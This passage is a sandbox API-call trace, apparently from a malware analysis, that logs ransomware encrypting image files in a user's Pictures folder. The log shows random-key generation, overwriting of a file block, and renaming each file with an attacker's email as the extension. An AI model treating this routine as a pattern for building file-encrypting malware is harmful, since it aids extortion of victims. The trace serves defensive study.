0x97ce320 [0059.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce320) returned 1 [0059.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x964de68 [0059.720] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce320 [0059.720] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0059.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3c0) returned 1 [0059.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0059.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.720] WriteFile (in: hFile=0x11a8, lpBuffer=0x964de68*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xca7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x964de68*, lpNumberOfBytesWritten=0xca7fbc0*=0xc800, lpOverlapped=0x0) returned 1 [0062.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x964de68) returned 1 [0062.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9641660) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44bd30 [0062.755] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.756] WriteFile (in: hFile=0x11a8, lpBuffer=0x12d7a1c0*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xca7fc40, lpOverlapped=0x0 | out: lpBuffer=0x12d7a1c0*, lpNumberOfBytesWritten=0xca7fc40*=0x121, lpOverlapped=0x0) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a1c0) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce320) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce398) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3e8) returned 1 [0063.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce410) returned 1 [0063.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4380 [0063.404] wcscpy (in: _Dest=0x4d4380, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png" [0063.404] wcscat (in: _Dest=0x4d4380, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png.mailto[2Hamlampampom@cock.li].cd46d" [0063.404] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xca7fbf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de4d8 [0063.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de4d8) returned 1 [0063.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.405] NtQueryInformationFile (in: FileHandle=0x11a8, IoStatusBlock=0xca7fc04, FileInformation=0xca7fbdc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xca7fc04, FileInformation=0xca7fbdc) returned 0x0 [0063.405] NtSetInformationFile (FileHandle=0x11a8, IoStatusBlock=0xca7fc04, FileInformation=0xca7fbdc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.407] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.407] FlushFileBuffers (hFile=0x11a8) returned 1 [0066.225] CloseHandle (hObject=0x11a8) Thread: id = 1138 os_tid = 0xc74 [0059.720] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\yp1hztz0xvaqfg-2.bmp")) returned 0x20 [0059.721] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp", dwFileAttributes=0x20) returned 1 [0059.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\yp1hztz0xvaqfg-2.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11ac [0059.721] GetFileSizeEx (in: hFile=0x11ac, lpFileSize=0xbe3fef0 | out: lpFileSize=0xbe3fef0*=53555) returned 1 [0059.721] SetFilePointerEx (in: hFile=0x11ac, liDistanceToMove=0xd12f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.721] ReadFile (in: hFile=0x11ac, lpBuffer=0xbe3fe74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbe3fe70, lpOverlapped=0x0 | out: lpBuffer=0xbe3fe74*, lpNumberOfBytesRead=0xbe3fe70*=0x4, lpOverlapped=0x0) returned 1 [0059.722] SetFilePointerEx (in: hFile=0x11ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0059.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce438 [0059.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce460 [0059.722] NtQuerySystemTime (in: CurrentTime=0xbe3fe50 | out: CurrentTime=0xbe3fe50*=132174898237092000) returned 0x0 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x2520d0e1 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x2d45224c [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x5b9c98ef [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x72b14321 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x3c6b6309 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0xed9cc12 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x230ea5a6 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x4f4265b1 [0059.722] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x1be99eef [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x7e341abc [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x43c878f4 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x64438f75 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x6c1eb723 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x1642dad [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x368367b2 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x56be303 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x74fe60bc [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x7cfaaeb5 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x6391dc88 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x7ffae194 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x7e866ab1 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x5dbdc2f4 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x5c8b53d5 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x49b91977 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x71dff5ba [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x2262946d [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x67d60082 [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x39ecdcae [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x2338d02d [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x351b450c [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0x624730dc [0059.723] RtlRandomEx (in: Seed=0xbe3fe5c | out: Seed=0xbe3fe5c) returned 0xd4db969 [0059.735] SetFilePointerEx (in: hFile=0x11ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.735] ReadFile (in: hFile=0x11ac, lpBuffer=0x197411d8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xbe3fe30, lpOverlapped=0x0 | out: lpBuffer=0x197411d8*, lpNumberOfBytesRead=0xbe3fe30*=0xc800, lpOverlapped=0x0) returned 1 [0059.736] SetFilePointerEx (in: hFile=0x11ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437df0 [0059.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0059.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3c0) returned 1 [0059.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1974d9e0 [0059.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce3c0 [0059.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce460 [0059.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce460) returned 1 [0059.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0059.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.741] WriteFile (in: hFile=0x11ac, lpBuffer=0x1974d9e0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xbe3fe30, lpOverlapped=0x0 | out: lpBuffer=0x1974d9e0*, lpNumberOfBytesWritten=0xbe3fe30*=0xc800, lpOverlapped=0x0) returned 1 [0062.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1974d9e0) returned 1 [0062.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197411d8) returned 1 [0062.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x4a6620 [0062.759] SetFilePointerEx (in: hFile=0x11ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.759] WriteFile (in: hFile=0x11ac, lpBuffer=0x5ed69c8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xbe3feb0, lpOverlapped=0x0 | out: lpBuffer=0x5ed69c8*, lpNumberOfBytesWritten=0xbe3feb0*=0x119, lpOverlapped=0x0) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed69c8) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6660) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6620) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3c0) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce438) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce488) returned 1 [0063.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce4b0) returned 1 [0063.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.408] wcscpy (in: _Dest=0x40d460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp" [0063.408] wcscat (in: _Dest=0x40d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0063.408] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xbe3fe68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x97ad090 [0063.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ad090) returned 1 [0063.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.410] NtQueryInformationFile (in: FileHandle=0x11ac, IoStatusBlock=0xbe3fe74, FileInformation=0xbe3fe4c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xbe3fe74, FileInformation=0xbe3fe4c) returned 0x0 [0063.410] NtSetInformationFile (FileHandle=0x11ac, IoStatusBlock=0xbe3fe74, FileInformation=0xbe3fe4c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.411] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.411] FlushFileBuffers (hFile=0x11ac) returned 1 [0066.225] CloseHandle (hObject=0x11ac) Thread: id = 1139 os_tid = 0xe50 [0059.741] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\zgo6qagnnsycuoljstj.png")) returned 0x20 [0059.742] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png", dwFileAttributes=0x20) returned 1 [0059.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\zgo6qagnnsycuoljstj.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11b0 [0059.742] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0xd4dfc28 | out: lpFileSize=0xd4dfc28*=67401) returned 1 [0059.742] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x10745, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.742] ReadFile (in: hFile=0x11b0, lpBuffer=0xd4dfbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd4dfba8, lpOverlapped=0x0 | out: lpBuffer=0xd4dfbac*, lpNumberOfBytesRead=0xd4dfba8*=0x4, lpOverlapped=0x0) returned 1 [0059.743] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce460 [0059.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce4d8 [0059.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.743] NtQuerySystemTime (in: CurrentTime=0xd4dfb88 | out: CurrentTime=0xd4dfb88*=132174898237248000) returned 0x0 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x1da577ff [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4d75ae0c [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x7d88611d [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x600b7925 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4fcd3ad8 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x2032ec43 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4bf1d6a9 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x43586b0b [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x40730919 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x20561e7a [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x2b6baadc [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4e898b46 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4e443f52 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x629d707f [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x7e555e4 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4b876ef6 [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x78b8577c [0059.743] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0xe8557c3 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x726dfc45 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x2237bbad [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x60c316ec [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x7a31fc50 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x3248631e [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x76f0031 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0xb578b29 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4b7f6c9e [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x1814cd95 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x49e9ae77 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x6b507e6 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x4fd2fa1a [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x3f48b395 [0059.744] RtlRandomEx (in: Seed=0xd4dfb94 | out: Seed=0xd4dfb94) returned 0x33771144 [0059.756] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.756] ReadFile (in: hFile=0x11b0, lpBuffer=0x1975a1e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd4dfb68, lpOverlapped=0x0 | out: lpBuffer=0x1975a1e8*, lpNumberOfBytesRead=0xd4dfb68*=0xc800, lpOverlapped=0x0) returned 1 [0059.756] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437df0 [0059.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce460 [0059.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce460) returned 1 [0059.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197669f0 [0059.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce460 [0059.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce500) returned 1 [0059.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0059.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.761] WriteFile (in: hFile=0x11b0, lpBuffer=0x197669f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd4dfb68, lpOverlapped=0x0 | out: lpBuffer=0x197669f0*, lpNumberOfBytesWritten=0xd4dfb68*=0xc800, lpOverlapped=0x0) returned 1 [0062.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197669f0) returned 1 [0062.763] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1975a1e8) returned 1 [0062.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402a80 [0062.763] SetFilePointerEx (in: hFile=0x11b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.763] WriteFile (in: hFile=0x11b0, lpBuffer=0x5ed6af0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xd4dfbe8, lpOverlapped=0x0 | out: lpBuffer=0x5ed6af0*, lpNumberOfBytesWritten=0xd4dfbe8*=0x11f, lpOverlapped=0x0) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6af0) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce460) returned 1 [0062.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce4d8) returned 1 [0062.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce528) returned 1 [0062.923] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce550) returned 1 [0062.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4700 [0062.923] wcscpy (in: _Dest=0x4d4700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png" [0062.923] wcscat (in: _Dest=0x4d4700, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png.mailto[2Hamlampampom@cock.li].cd46d" [0062.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd4dfba0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x423da8 [0062.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0062.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0062.945] NtQueryInformationFile (in: FileHandle=0x11b0, IoStatusBlock=0xd4dfbac, FileInformation=0xd4dfb84, Length=0x28, FileInformationClass=0x4 | out: 